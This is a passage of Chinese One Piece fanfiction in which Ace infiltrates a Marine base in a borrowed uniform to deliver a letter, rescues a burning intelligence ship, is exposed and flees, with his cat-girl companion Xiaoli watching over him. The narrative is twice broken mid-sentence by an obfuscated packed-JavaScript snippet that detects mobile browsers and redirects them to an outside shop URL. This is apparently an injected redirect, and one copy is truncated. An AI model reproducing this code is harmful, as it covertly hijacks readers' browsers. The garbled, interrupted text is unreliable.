她猛地抬起一根纤细的手指,直直指向艾斯身上那套刺眼的白色制服,指尖都在微微发抖,“为什么艾斯会觉得直接混进海军支部可以被称作‘小心’呢?!这根本就是自投罗网的最高级了吧!!!” 面对小狸的控诉和几乎要实质化的怨念目光,艾斯却只是无所谓地叉起腰,仰起头发出了一阵极其爽朗、甚至称得上没心没肺的大笑声。 “哈哈哈!别这么紧张嘛,小狸。毕竟我们这次是来送信的嘛对不对?不进去的话,怎么才能把信安安稳稳地送到那位‘古米尔中校’手里呢?” 他摊了摊手,一副“我也是迫不得已”的表情。 “送信?!你还敢提送信!!”小狸像是被点燃的炮仗,差点从石头上跳起来。她飞快地从自己随身的小包里掏出一个边缘有些磨损、但依旧平整的信封,用两根手指捏着,举到空中,朝着艾斯的方向用力挥了挥,那架势,仿佛那不是一封信,而是一面声讨的旗帜。 “还不是因为艾斯又吃霸王餐啦!我就只是赖了一会床而已嘛……你还踹了人家医生一脚,莫妲妹妹说黑胡子医生可是闪了腰还在养伤呢” 艾斯被愤怒的镇民、饭店老板和医生踢下了河处以流水之刑,要不是牛奶妹莫妲把他捞上来,说不定会一直顺流而下到海里去 艾斯被她这番详细到近乎“公开处刑”的回忆说得有点挂不住脸,抬手摸了摸鼻子,眼神飘忽了一下,小声嘟囔:“那、那家店的烤肉闻起来实在太香了嘛……而且我也留了‘以后会付钱’的纸条啊……谁知道他们反应那么大……” 看着艾斯这副毫无悔改之意、甚至试图狡辩的样子,小狸忽然感到一阵深深的、熟悉的无力感。她猛地想起了丢斯——那位总是跟在艾斯身后,负责收拾烂摊子还得兼任保姆和吐槽役的苦命兄弟。 一瞬间,小狸仿佛与远在莫比迪克号上某个角落的丢斯产生了跨越空间的灵魂共鸣。她仿佛能看见丢斯推着那标志性的面具,用那双写满疲惫和“我就知道会这样”的眼睛,遥望远方,然后深深地、沉重地叹一口气。 小狸学着想象中丢斯的样子,抬起小手,无奈地扶住了自己的额头,发出了一声与之神似的、充满沧桑感的叹息:“唉……” 辛苦你了啊,丢斯! 艾斯被小狸这副故作老成、模仿丢斯叹气的小模样逗乐了。他走上前,伸手,屈起指节,不轻不重地在小狸光洁的额头上敲了一下。 “少学丢斯那个家伙!”艾斯笑骂道,随即探头,谨慎地望向礁石外通往海军支部正门的那条小路。 “好了,我先进去看看情况,摸清楚那位古米尔中校的办公室或者常去的地方,想办法把信送到他手里。完事了就马上出来,很快的,你就在这里等我,别乱跑,这里还算隐蔽……” 他一边说,一边习惯性地伸手想揉揉小狸的脑袋,却在半空中顿住了动作,眼睛微微睁大,露出疑惑的表情。 “嗯?小狸……你在干嘛?” 只见小狸不知何时已经从她那个仿佛能掏出各种奇怪东西的小包里,摸出了一只小小的、壳上有着精致螺旋花纹的电话虫。这只电话虫似乎刚睡醒,正慢吞吞地伸着触角,两只圆圆的大眼睛懵懂地看着前方。 而小狸,正双手捧着电话虫,将它对准了穿着海军背心、戴着海军帽的艾斯,脸上露出了一个混合着狡黠、兴奋和一丝恶作剧意味的、甜甜的笑容。“看镜头!” 紧接着—— “咔嚓!” 一声轻微但清晰的、类似于快门声响的“咔嚓”声,从电话虫的方向传来。电话虫的两只大眼睛在瞬间变成了相机镜头般的圆圈,眼中有白光极快地一闪而过,同时它背上的壳微微震动了一下,似乎完成了某种记录。 小狸心满意足地放下电话虫,用指尖温柔地摸了摸它冰凉光滑的壳,然后才抬起头,看向一脸懵的艾斯,笑眯眯地、用再自然不过的语气说道: “照张照片给卡普爷爷看看呀!我觉得爷爷一定很想看到你穿这身衣服的样子~” 她歪了歪头,眼神纯良无比,“等我们找到可以寄信的地方,就把照片洗出来,和问候信一起寄给卡普爷爷。他收到一定会很开心的!” 艾斯的脸“腾”地一下红了,从脸颊一直蔓延到耳根,甚至连脖子都有些泛红。他被小狸这话和刚才的偷拍行为弄得又羞又窘,差点跳起来。 “喂!小狸!!”他压低了声音吼道,试图去抢那只还在慢吞吞眨眼的电话虫,“删掉!快删掉!我可是海贼!白胡子海贼团的二番队队长!穿这身只是为了潜入!潜入!是战术伪装!懂吗?!怎么能把这种照片给爷爷看!!” 他仿佛已经看到了卡普收到照片后,那震耳欲聋、充满戏谑和“我早就知道”意味的“哇哈哈哈”大笑声,以及随之可能到来的、针对“孙子疑似有当海军潜质”的无限调侃。这简直比被悬赏加价还要让他感到羞耻! 小狸灵巧地一转身,把电话虫藏到身后,用身体护住: “放心啦,哥哥!很帅的!超级帅!卡普爷爷看到一定会为你感到骄傲的!” 她顿了顿,又补充道“不过……要小心哦。如果感觉不对劲,就马上出来,信我们可以再想别的办法送,安全最重要。” 艾斯被她夸得有点飘飘然,骄傲地抬了抬头 “放心吧!你哥哥我可是很强的!这种小场面,轻松搞定!我走啦,你乖乖待着别动!” 说完,他最后检查了一下帽檐,确保它能稍微遮挡一下自己过于显眼的五官,尤其是那张价值数亿的脸,然后便借着礁石的掩护身影很快消失在了小狸的视线。 小狸坐在石头上,抱着膝盖,目送着艾斯消失的方向。 好担心呀…… 艾斯那个脾气,真的能安安稳稳、不惹事生非地把信送到吗? 信? 等等…… 小狸的思绪突然卡壳。她慢慢地、僵硬地低下头,看向自己依旧捏在手里的、那个边缘有些磨损的信封,再猛地抬起头,看向艾斯早已消失不见的支部入口方向。空荡荡的,只有站得笔直的海军士兵和飘扬的海军旗帜。 空气仿佛凝固了几秒。 小狸漂亮的脸蛋上,表情从担忧,到茫然,再到醒悟,最后定格为一种混合了难以置信、哭笑不得和深深无力的崩溃。 “艾——斯——!!!!!!” 她几乎是从牙缝里挤出这个名字,尾巴因为极致的震惊和气愤而炸毛,笔直地竖了起来。 “信!!!信没有带啊!!!你这个笨蛋哥哥!!!你要拿什么去送啊?!真是的!!!!” 小狸气得在原地直跺脚,小巧的鞋子踢在石头上,发出“哒哒”的闷响。她终于深刻地体会到,丢斯平时那种“心累到灵魂出窍”的感觉,究竟是怎样一种境界了。 崩溃归崩溃,气恼归气恼,但放任那个丢三落四、还顶着张价值五亿五千万的脸在海军支部里乱闯的哥哥独自行动,是绝对不可能的! 她快速的把前锋号开走停好,又把信小心地装进自己的小包里,做完这一切,她再次观察了一下支部门口的动静。 正值午餐时间,换岗的士兵有些松懈,进出的人流也稍微多了一些。机会! 小黑猫追着艾斯的方向,如同一滴融入阴影的墨汁,悄无声息地滑进了海军G2支部那扇对于她来说过于巨大的正门。 成功潜入! 小小一只黑猫,在偌大、规整、充满了严肃刻板气息的海军基地里,显得毫不起眼,甚至有些格格不入的可爱。她没有立刻慌张地寻找艾斯,反而像真的只是误入此地的野猫一般,先是悠闲地跳上了走廊一侧低矮的围栏,沿着光滑的木制栏杆,慢悠悠地踱步。 她好奇地转动着脑袋,打量着这个她从未有机会、也从未想过来到的地方。白色的墙壁,干净得反光的地板,穿着统一制服、步履匆匆或三两成群走过的海军士兵。空气里弥漫着一种混合了汗水、皮革、金属保养油和……食物的复杂气味。 正是午餐时间,不少海军手里拿着饭盒或夹着面包,边走边吃,讨论着上午的训练或下午的任务。他们看到围栏上这只通体漆黑、眼睛异常漂亮的“野猫”,也只是投来一瞥,并不在意。甚至有两个年轻的海军士兵,被小黑猫昂首挺胸、旁若无人的高傲姿态逗乐,故意晃了晃手里吃了一半的香肠,试图逗弄她。 “嘿,小猫,来,给你吃点好的!” 小黑猫只是冷淡地瞥了他们一眼,傲慢的抬着头,继续迈着优雅的猫步向前走,尾巴尖在空中划出不屑的弧度。 被一只猫如此明确地拒绝,两个士兵非但不恼,反而哈哈大笑起来,觉得有趣极了。 “还挺有脾气!哈哈哈!” “走了走了,快去食堂,晚了肉就被抢光了!” 他们嬉笑着,快步离开了。 小狸蹲坐在围栏上,看着他们远去的背影,心里稍稍松了口气。看来伪装很成功。说到底,其实一开始就换我进来就好了嘛……艾斯到底在哪里啊? 她抽了抽小巧的鼻子,试图在充满各种陌生气息的空气中,捕捉熟悉的味道。她的嗅觉远超人类,但基地里人太多,气味混杂,一时难以精准定位。 就在这时,一股更加浓郁、更加诱人的香气,顺着走廊另一端的通风口,丝丝缕缕地飘了过来——是烤肉!油脂被高温炙烤后特有的焦香!还有油炸食物的味道!浓汤的醇厚气息! 她一点都不怀疑,在这种香气的指引下,那个脑子里一半是冒险一半是食物的哥哥,绝对、百分之百、毫无疑问会出现在香气的源头! 目标明确!小黑猫轻盈地跳下围栏,肉垫踩在光滑冰凉的地板上,没有发出丝毫声响。她不再犹豫,循着那勾人馋虫的香气,毫不犹豫地迈开了步子。 然而,刚循着香味走到一半,穿过一条相对僻静的连接走廊时,前方主通道忽然传来了与基地平时有序氛围截然不同的嘈杂声响! “在那边!” “抓住他!别让他跑了!” “是没见过的人!面孔很生!是间谍吧?!” “快!通知巡逻队!封锁附近通道!” 纷乱的脚步声、急促的呼喊声、武器碰撞的金属轻响混杂在一起,一队队海军士兵从不同的岔路口涌出,朝着某个方向奔跑集结,脸上带着紧张和追捕的兴奋。 小黑猫的脚步猛地顿住,蹲坐在原地,两只前爪并拢,尾巴环绕着身体,形成了一个完美的“猫猫蹲”姿势。她抬起小巧的脑袋,望着那些匆匆跑过的海军,蓝宝石般的猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941784|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里露出一种“果然如此”的了然,以及深深、深深的无奈。 她就知道! 她就知道!! 艾斯绝对不可能安安静静、顺顺利利、不引出一点事端地把信送到! 她甚至懒得去猜测具体原因,无奈地叹了口气,连带着胡须都跟着抖动了一下。现在不是吐槽的时候。她再次抽动鼻子,这次,因为距离拉近和混乱气息的指引,她终于清晰地捕捉到了那个熟悉得不能再熟悉的味道 --- “艾斯!” 小黑猫挤进门里看着地上又多了一个被扒了衣服的倒霉蛋和正穿着白色少校制服,端着盘子大快朵颐的艾斯一时不知道说什么好 艾斯太过熟悉小狸的气息,一时都没有警惕起来,一边咀嚼,一边含混不清地念叨“唔,味道还行,就是肉有点老……” 然后,他像是终于感觉到了某种熟悉的视线,咀嚼的动作猛地一顿。他有些僵硬地、缓缓地转过头来。 四目相对。 艾斯嘴里还塞着一大块没咽下去的猪排,脸颊鼓鼓的,瞪圆了眼睛,看着不知何时出现在房间里、正蹲在地上、用一种混合了“我就知道”、“你没救了”的复杂眼神看着他的小黑猫。 “呜——!”艾斯猛地将嘴里的食物咽下去,差点噎到,他拍着胸口,惊讶地压低声音,“小狸?!你怎么进来了?!不是说好了在外面等我吗?!” 小黑猫身上光芒微闪,变回了少女形态。小狸站在地上,双手叉腰,小脸绷紧,蔚蓝色的猫瞳里满是控诉: “艾斯才是!怎么又弄得这么热闹啊!外面到处都在找你哎” “嘛……”艾斯不好意思的挠挠脑袋,“他们说老爹的坏话,我没忍住……” 他说得轻描淡写,但小狸完全能想象出那个“稍微理论一下”是怎样的鸡飞狗跳。她无奈地扶额。 “那信呢?”小狸忽然想起最关键的问题,伸出手“你要送的信呢?” 艾斯的动作瞬间僵住。他下意识地摸了摸自己身上那件“借来”的少校制服口袋——空空如也。又摸了摸裤兜——除了几颗不知道什么时候顺来的、食堂的饭后薄荷糖,什么都没有。 “啊……”艾斯张了张嘴,发出一个干巴巴的音节,脸上露出了货真价实的、如梦初醒般的懊恼表情,“信……好像……真的……没带进来……” 小狸:“……” 她看着艾斯那副“糟糕,完全忘了”的表情,深深地、深深地吸了一口气,然后又缓缓地吐出,仿佛要把胸腔里所有翻腾的吐槽和无力感都排出去。算了,至少他还记得“送信”这个任务本身,虽然忘了任务道具。 小狸把莫妲的信封塞给艾斯 只犹豫了零点五秒。 小狸果断地再次掏出了那只小小的电话虫。双手捧起,对准脸上画着小胡子、穿着紧绷少校制服、表情还有点懵的艾斯。 “咔嚓!” 又是一声清脆的快门模拟声。电话虫的眼睛再次变成相机镜头,白光一闪。 艾斯:“……小狸!!!你怎么又!!!” 小狸放下电话虫,小心地收好,然后抬起头,看着羞恼得耳朵又有些发红的艾斯,眼神无比真诚,甚至带着点赞叹: “这张也要寄给卡普爷爷!少校呢!艾斯升职真快!爷爷做梦都要笑醒了!” 说完她又有些嫌弃的补充到“不过艾斯绝对不要留胡子哦!” 艾斯被她这副理所当然、甚至开始规划“寄送套餐”的样子弄得彻底没了脾气,只剩下满脸通红的窘迫和抗议:“都说了这是伪装!伪装!这是战术!” 门外走廊上,再次传来了仓促而整齐的脚步声,比之前的追捕更加有序,似乎直奔这个房间而来。 小狸反应极快,看了一眼地上昏迷的倒霉蛋,迅速将这位可怜的受害者拖到房间最里面的角落,用几张废弃的帆布和几个空木箱草草掩盖起来。刚做完这些,房门就被“咚咚”敲响了。 “报告!少校!”门外传来一个年轻海军士兵恭敬的声音,“古米尔中校让我通知您,立刻到主会议室开会!” 艾斯和小狸对视一眼。艾斯眼中闪过一道“得来全不费工夫”的狡黠亮光——正愁怎么接近那位古米尔中校呢,机会就送上门了! 他清了清嗓子,努力模仿着一种低沉、严肃、略带沙哑的嗓音,朝着门外简单地应了一句: “知道了!我马上过去!” 门外的士兵似乎没有怀疑,脚步声逐渐远去。 艾斯给了小狸一个“放心”的眼神,整理了一下身上紧绷的少校制服,扶正了那顶有点歪的帽子,他似乎很满意自己画的小胡子,又下意识地摸了摸,然后深吸一口气,摆出一副“我很严肃我很忙”的架势,拉开了房门,迈着刻意沉稳的步伐,走了出去。 小狸看着他消失在走廊拐角,犹豫了一下,还是放心不下。她再次变回小黑猫的形态,悄无声息地溜出房间,不远不近地跟在艾斯身后。 走廊里人来人往,穿着少校制服的艾斯并没有引起太多额外注意,偶尔有士兵向他敬礼,他也只是含糊地点点头,脚步不停。 小狸看着艾斯出示了那个倒霉蛋身上摸来的身份证明,卫兵检查后,恭敬地为他打开了门。 艾斯回头,似乎用眼角的余光瞥了一眼躲在远处楼梯拐角阴影里的小黑猫,然后,挺直了背脊,光明正大的混进了海军的会议 小狸看着关上的门,甩了甩尾巴,一定……大概……希望可以顺利吧 58. 加油呀!艾斯少校!下 会议并没有持续太久。 会议室大门在关闭约莫二十来分钟后,便再次被从内向外推开,人们三三两两地从中鱼贯而出。他们的脸上大多笼罩着一层相似的、挥之不去的阴云,眉头紧锁,嘴唇抿成向下的弧度 不过,气氛还算平静有序,看来,至少目前为止,艾斯那身漏洞百出的伪装和那两撇滑稽的小胡子,还没有被当场揭穿。 她微微松了口气,紧绷的尾巴尖稍微放松了些。 人流逐渐稀疏,艾斯几乎是最后一个走出来的,步履不像进去时那样刻意沉稳,反而带着点说不出的……沉重? 他手里还端着一个白色的瓷质咖啡杯,低着头,整张脸上写满了某种近乎痛苦的纠结和生无可恋,连那两撇小胡子似乎都耷拉了下来,失去了神采。 小狸有些担心的踱步到他身边,本想喊他一声但是想起场合不对,只能爪子在他白色的裤腿上留下一个黑乎乎的爪印 艾斯感觉到裤腿上的细微触碰和拉扯,茫然地低头,正对上小狸充满询问的蓝色猫瞳。他愣了一下,几不可查地摇了摇头,用眼神示意“没事,但也不是完全没事”。 跟着艾斯走到一边,他直接坐在了窗台上,小猫终于有机会靠近他,爪子拍了拍他的腿,似乎觉得有趣,又留下了几个黑乎乎的梅花印 艾斯低下头,看着白裤子上那几个醒目的“猫爪签名”,又看看身边一脸无辜的小黑猫,终于深深地、饱含痛苦地叹了一口气。 “小狸……”他的声音带着一种劫后余生般的虚弱和难以置信,目光落在手里那杯褐黑色的液体上,“太苦了……” “啊?”小狸歪了歪头,猫眼里充满了纯粹的困惑。 艾斯仿佛找到了倾诉对象,脸上的痛苦表情瞬间鲜活、夸张起来。他举起手里的咖啡杯,凑到眼前,用控诉般的眼神死死盯着杯中那平静无波、却仿佛隐藏着无尽折磨的深色液体。 “真的是太苦了!!”他的声音拔高了些,带着真情实感的崩溃,“世界上怎么会有这么可怕的东西存在?!这根本不是饮料!是某种酷刑!是味觉上的凌迟!!” 他激动地比划着,差点把杯子里的咖啡晃出来:“就因为它!就因为这杯该死的东西!我根本一个字都听不进去!!那个古米尔大叔在上面叽里咕噜说了些什么也完全不知道!脑子里全是这股苦味在造反!在尖叫!在试图谋杀我的舌头!!” 他放下杯子,双手捂住脸,肩膀垮塌下去,那身少校制服让他这个动作显得更加滑稽:“我试了!我真的试了!悄悄吐回杯子里,假装抿一口,甚至想趁人不注意倒进旁边盆栽……我的注意力……全在和苦味做斗争!完全失败了!!” 小狸:“……” 她慢慢地、极其缓慢地,转动了一下小巧的脑袋,视线从艾斯痛苦的脸上,移到他手中那杯被妖魔化了的褐色液体,然后,又移向露台另一端—— 那位被艾斯称为“古米尔大叔”的、G2支部的最高长官古米尔中校,此刻也正站在不远处的栏杆边,手里同样端着一个白色的咖啡杯。他眉头紧锁,表情沉重,时不时举起杯子喝一口,然后整张脸就会瞬间扭曲一下,迅速放下杯子,用力深呼吸,仿佛也需要极大的勇气才能完成“饮用咖啡”这个动作。他周围的几个副官,表情也大同小异。 “所以……”小狸抬起一只爪子,迟疑地指了指艾斯的杯子,又指了指远处表情痛苦的古米尔:“因为咖啡太苦了,所以散会了?” 艾斯用力地点了点头 “所以因为咖啡太苦了,所以散会了。” 小狸:“……” 她忽然觉得,自己对“海军”这个一直以来代表着秩序、威严、甚至有些刻板印象的职业,产生了一些微妙的、全新的认知。入职要求……似乎也并没有想象中那么……高? 趁着艾斯正偏头对着窗外深呼吸,小狸悄悄地抻长了纤细的脖颈,一点点凑近那个被艾斯随意放在窗台边缘的白色瓷杯。 好奇,好奇死了! 她伸出粉嫩的小舌头,尖端微微探出,想要像尝冰淇淋或者奶油那样,轻轻舔一下杯沿,亲自验证这被艾斯形容为“味觉凌迟”的液体,究竟是何等威力…… 就在她的舌尖距离杯沿还有零点零一公分的时候—— “情报船失火了!!!快来救火啊!!!” 一声凄厉到变了调的、充满了惊恐和绝望的呐喊瞬间打破了艾斯与小狸之间关于咖啡的“学术探讨”。 她循声看去,海面上正在燃烧的海军军舰的船帆上写着大大的“极密”二字,好像生怕别人不知道船上装的是重要机密 “这、这可怎么办啊!!!”露台上的海军军官们瞬间乱作一团,有人对着港口方向嘶声大喊。 “快!救生艇!灭火器!所有能用上的都给我上!”“不行!火势太猛了!靠不过去!热浪和浓烟让人睁不开眼!”港口方向传来声嘶力竭的回应,带着哭腔。“人呢?!船上还有没有弟兄没逃出来?!”“情报!那些机密文件也在船上啊!全完了!全完了!!” 古米尔崩溃地捂住头,声音里充满了绝望。他眼睁睁地看着下属们乘坐着小艇,在距离燃烧的军舰尚有几十米的地方就被灼人的热浪和翻滚的浓烟逼退,只能徒劳地在外围打转,顺便将几个侥幸跳海逃生、被熏得黑乎乎、呛咳不止的海军捞上小艇。 忽然,有人动了,一个海军忽然飞身跃起,纵身冲入火海,身后的众人甚至都没来得及拦住他 “喂!你疯了吗?!快回来!!!”古米尔惊骇欲绝的吼声迟了半拍,他伸出手,只来得及抓住一团空气。“命才是最重要的啊!!!给我回来!!”其他军官也纷纷惊呼,试图阻止这在他们看来无异于自杀的疯狂行为。 但艾斯的速度太快,他们的呼喊和阻拦,如同掠过耳边的微风,未能让他有丝毫停顿。 小狸蹲在窗台上,看着艾斯义无反顾冲入火海的背影 她就知道! 小狸发出一声深深地、无奈地,又带着一丝早已预料的叹息,摇了摇头。她的目光从艾斯消失的火光方向移开,落回到身边窗台上那只被艾斯遗弃的、杯口还残留着深褐色液体的咖啡杯。 这次没有打扰,她伸出舌头,故作优雅的轻轻舔了一下…… “噫——!!!” 那苦味霸道、尖锐、毫不留情的瞬间从舌尖炸开,顺着神经一路狂奔到大脑,让她整张猫脸都控制不住地扭曲起来! “呸呸呸!呸呸呸!!!” 小狸疯狂地甩着头,吐着舌头,试图将那股恐怖的味道驱逐出去。粉色的舌头伸得老长,在空气中徒劳地抖动,湛蓝的猫眼因为极致的冲击而瞪得滚圆,里面充满了生理性的泪水和劫后余生般的惊恐。 这什么东西?!!世界上怎么会有这么难喝的东西?!! 就在小狸面目狰狞、舌头发麻、内心疯狂吐槽的时候,海面上的情况再次发生了变化。 是艾斯! 他肩膀上扛着一个昏迷不醒、军服烧焦大半的海军士兵,另一只手则拎着一个看起来颇为沉重、外壳被熏得漆黑、但依旧能看出坚固金属结构的方形箱子——箱子上,同样用醒目字体标注着“极密”! 所有人都目瞪口呆地看着这个如同神兵天降、从几乎必死的绝境中带回一条人命和重要情报的“英雄”。 古米尔中校第一个反应过来,他踉跄着从露台冲下楼梯,拨开呆立的人群,冲到艾斯面前。 “太……太感谢了……”古米尔的声音带着抑制不住的颤抖,他伸出手,似乎想拍艾斯的肩膀,又觉得不够郑重,“年轻人……你……你叫什么名字?是哪个部门的?我……我一定向上级详细报告你的英勇事迹!你救了不止一条命!你是英雄!真正的英雄!!” 他语无伦次,感激之情溢于言表。周围的海军士兵们也纷纷投来敬佩和感激的目光。 艾斯被这突如其来的盛大感谢弄得有点不好意思,他挠了挠头,刚想随口编个名字和部门糊弄过去—— “中校!!!”一个眼尖的、负责救护的海军军医突然惊恐地大喊起来,手指颤抖地指向艾斯的右臂,“现、现在可不是感动的时候啊!!!他、他身上……正在燃烧啊!!!” 什么?燃烧? 古米尔和周围所有人的目光,瞬间聚焦在艾斯的右臂上。 只见艾斯刚才用来拎着沉重金属箱、承受了极高温度的右臂,此刻,从肩膀到小臂,竟然真的覆盖着一层薄薄的、却异常稳定地在跳动燃烧的橘红色火焰 几乎同时,人群后方,不知是谁似乎终于反应过来,尖锐地、充满了恐惧地嘶喊出来: “火……火拳!!!是火拳艾斯!!!白胡子海贼团的二番队队长!!!” “海贼!!!有海贼混进来了!!!” “开枪!快开枪啊!!!别让他跑了!!!” 死寂被彻底打破,取而代之的是极致的恐慌和骤然而起的敌意! “乒乒乓乓——!!!!” 杂乱的枪声几乎在喊声落下的瞬间便爆响开来!子弹如同暴雨般,向着栈桥中央那个依旧有些茫然的“英雄”倾泻而去! 艾斯这才如梦初醒,猛地意识到——哦,对了,我是个海贼来着,还是被悬赏好几亿的那种! “糟了!”他低呼一声,看着呼啸而来的子弹,几乎是本能地,身体瞬间元素化!子弹穿透他的胸膛、手臂、腹部,却没有带出丝毫血迹,只是在穿透的位置留下一个个边缘燃烧着橘红火焰、迅速弥合的空洞! 这场面更是坐实了他的身份,引发了更大的骚乱和更密集的射击。 “暴露了!”艾斯心里闪过这个念头,再也顾不得其他,转身拔腿就跑,那件早已破烂不堪的少校制服上衣,在奔跑中被他自己一把扯下,随手扔在身后。 白色的布料在空中飘落,他背后那个醒目的、带着弯月胡子的白色骷髅标志,再无遮掩,大咧咧地暴露在G2支部所有海军的眼前,仿佛一个无声的嘲笑,又像一面骄傲的旗帜。 古米尔中校没有第一时间加入追捕,他站在原地,看着艾斯在枪林弹雨中灵活穿梭、逐渐远去的背影,脸上最初的震惊和敌意慢慢退去,转而变成一种极其复杂的、若有所思的神情。他低头,看了看地上安然无恙的部下和那个“极密”箱子,又抬头看向那个属于白胡子海贼团的标志…… 这个海贼……刚刚,是不是不顾自身安危,冲进火海,救了他的部下,还抢回了重要情报? “追!别让他跑了!!”其他军官的怒吼声将他的思绪拉回。 然而,就在这时,让所有人再次目瞪口呆的一幕发生了—— 那个本来已经快要冲出码头范围、眼看就要消失在建筑物阴影里的火拳艾斯,竟然猛地刹住了脚步!他甚至因为停得太急,鞋底在石板地面上摩擦出刺耳的尖啸。 然后,在所有人难以置信的目光注视下,他居然……转身了! 顶着依旧零星射来的子弹,他又朝着古米尔中校所在的位置——狂奔了回来! “他还敢回来?!!!”“上啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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枪声不知何时停了。所有人都傻傻地看着艾斯消失的方向,又看看地上安然无恙的人和物,再看看古米尔中校手里那个略显突兀的、贴着可爱小花贴纸的信封。 没人下令去追,也没人知道该怎么追。追一个能在火中来去自如、子弹无效、甚至敢跳海的“火拳”?更何况,他刚刚才……救了人? 一种荒诞的、难以言喻的沉默,笼罩了整个G2支部的港口。 --- 小狸早就开着前锋号在海面等他了,几乎在他站稳的一瞬间,前锋号就猛的向前冲去,飞也似的离开这片海域 “哈哈哈哈哈——!!!”艾斯站在船头,张开双臂,他的笑声清亮而快意,毫无阴霾,随着快艇的高速飞驰,被拉得很长很长,飘散在阳光与海风之中,仿佛刚才那场惊心动魄的潜入、火海救援、身份暴露、枪林弹雨,都只是一场刺激有趣的冒险游戏。 小狸侧过头,看着艾斯意气风发的侧脸,忍不住伸出手指,轻轻戳了戳。 “艾斯,真的没事吧?有没有受伤?” “当然没事了!你看,精神得很呢!”艾斯转过身,拍了拍自己结实的手臂,笑容灿烂得晃眼,“那些子弹,连挠痒痒都算不上!信更是稳稳当当、亲手交到了那个古米尔大叔手里呢!我办事,你放心!” 小狸对他用“稳稳当当”这个词来描述刚才那鸡飞狗跳的送信过程,表示了毫不掩饰的怀疑。不过,信送到了就好。她好奇地追问:“那封信,到底写了什么呀?莫妲妹妹那么郑重地一定要交给古米尔中校。” “哦,那个啊。”艾斯随意地在快艇边坐下,任由海水溅起的冰凉水珠打在身上,“是莫妲家的地址和照片。信里大概写了邀请大叔去她那里买牛奶吧” “哎?”小狸有些惊讶,“为什么一定要给古米尔中校呢?明明有那么多基地,G2也不是最近的一个吧……” 艾斯笑了笑,解释道:“因为G2的厨师夫妇是莫妲的父母啊。” “哎——?!”小狸睁大了眼睛,“艾斯为什么连这个都知道?” 艾斯立刻骄傲地扬起头,脸上还糊着那团可笑的“胡子”污迹:“那当然!毕竟我可是无所不知的天才艾斯大人啊!” “吹牛!”小狸毫不留情地戳穿他“一定是莫妲妹妹偷偷告诉你的!” 被揭穿的艾斯也不恼,反而哈哈笑起来,伸手揉了揉小狸被海风吹得有些凌乱的头发,动作亲昵自然。 玩闹般的对话告一段落,艾斯脸上的笑容稍微收敛了些,眼神望向远方起伏的海平线,变得深邃了一些。 “不过,这趟也不算全无收获。”他拍了拍自己的裤子,“我顺手,拿到了海军那边的一份情报。关于……蒂奇的。” 提到这个名字时,艾斯的语气明显冷了几分,眼底有晦暗的火焰一闪而逝,但他很快又调整过来,故作轻松地耸耸肩:“虽然那家伙那么狡猾,说不定又是假的就是了,我们去看一眼就回去,不过说实在的,果然饭还是萨奇做的好吃啊” “嗯!”小狸用力点头,眼睛亮晶晶的,也跟着憧憬起来,“那等我们回去,就跟萨奇说,让他去莫妲妹妹家的牧场订牛奶吧!她家的牛奶真的超级好喝,又香又醇!做成浓汤或者烤蛋糕肯定特别棒!” “好啊,小馋猫!” “才不是小馋猫呢!”小狸鼓起腮帮子,佯装生气地反驳,“而且哥哥明明喝得比我还多!” “哈哈哈!那你也还是小馋猫!专偷奶油和甜点的小馋猫!” “笨蛋艾斯!不理你了!” 快艇载着两人轻松愉快的斗嘴声和笑声朝着下一个目的地驶去。阳光洒落,将他们的身影镀上一层温暖的金边,仿佛刚才G2支部的惊险与火焰,只是旅程中一段微不足道的小小插曲。 而关于蒂奇的情报,如同海面下潜藏的暗流,在看似平静的归途之下,悄然涌动着未知的波澜。 59. 毒Q 巴纳罗岛附近海域,一个名为罗格镇的小型港口城镇 艾斯与小狸寻着情报踏上这里的土地,目标明确,却又如同大海捞针。他们追寻的那个男人——马歇尔·蒂奇狡猾如狐,多年来,他甚至都没有留下一张清晰、像样的画像 艾斯手中拿着的,完全是丢斯手绘的画像。纸张有些皱,上面的线条简单甚至有些扭曲,但特征足够清晰,小狸手中也有一张同样的,为了提高效率,两人在镇口简单商议后,决定分头打听。艾斯负责镇子东侧和酒馆码头,小狸则沿着相对清净的西侧街市询问。 小狸用零钱买了两杯小推车上卖的、看起来清亮诱人的冰镇果汁——一杯给艾斯,一杯给自己。冰冰凉凉的触感让烦躁的情绪也平稳下来,她再次道了谢,拿出了那张画像 她的身后,一匹瘦骨嶙峋到了极点的老马,正驮着一个男人,晃晃悠悠地从街角拐出来。那马匹的皮毛黯淡无光,肋骨根根分明,四条腿细得仿佛随时会在行走中“咔嚓”折断。马背上的人更是古怪——裹着一身厚重又不合时宜的深色皮毛大衣,脸色是一种不健康的、如同久病未愈的灰败,半耷拉着眼皮,整个人透着一股行将就木的、从内而外散发出的腐朽气息。 毒Q的目光懒散地扫过小狸和饰品摊主,那眼神空洞,仿佛只是无意间掠过路边的石头或杂草,没有丝毫情绪波动,也没有丝毫停留。他甚至没有因为小狸显眼的猫耳和尾巴而多看一眼,就这么任由那匹老马载着,以一种近乎滑稽的缓慢节奏,晃晃悠悠地经过小狸面前,又慢悠悠地消失在另一侧的街巷拐角,像是从未出现过。 小狸沿着街道问询,毫无意外的一无所获,她有些失望,但还是一一道了谢,准备离开。 她拿着果汁在一家商铺门前的木制长椅上坐了下来。椅子被午后的太阳晒得暖烘烘的。她将艾斯的那杯小心放在旁边,捧着属于自己的那杯,冰凉的感觉透过掌心,驱散了些许奔走的燥热。 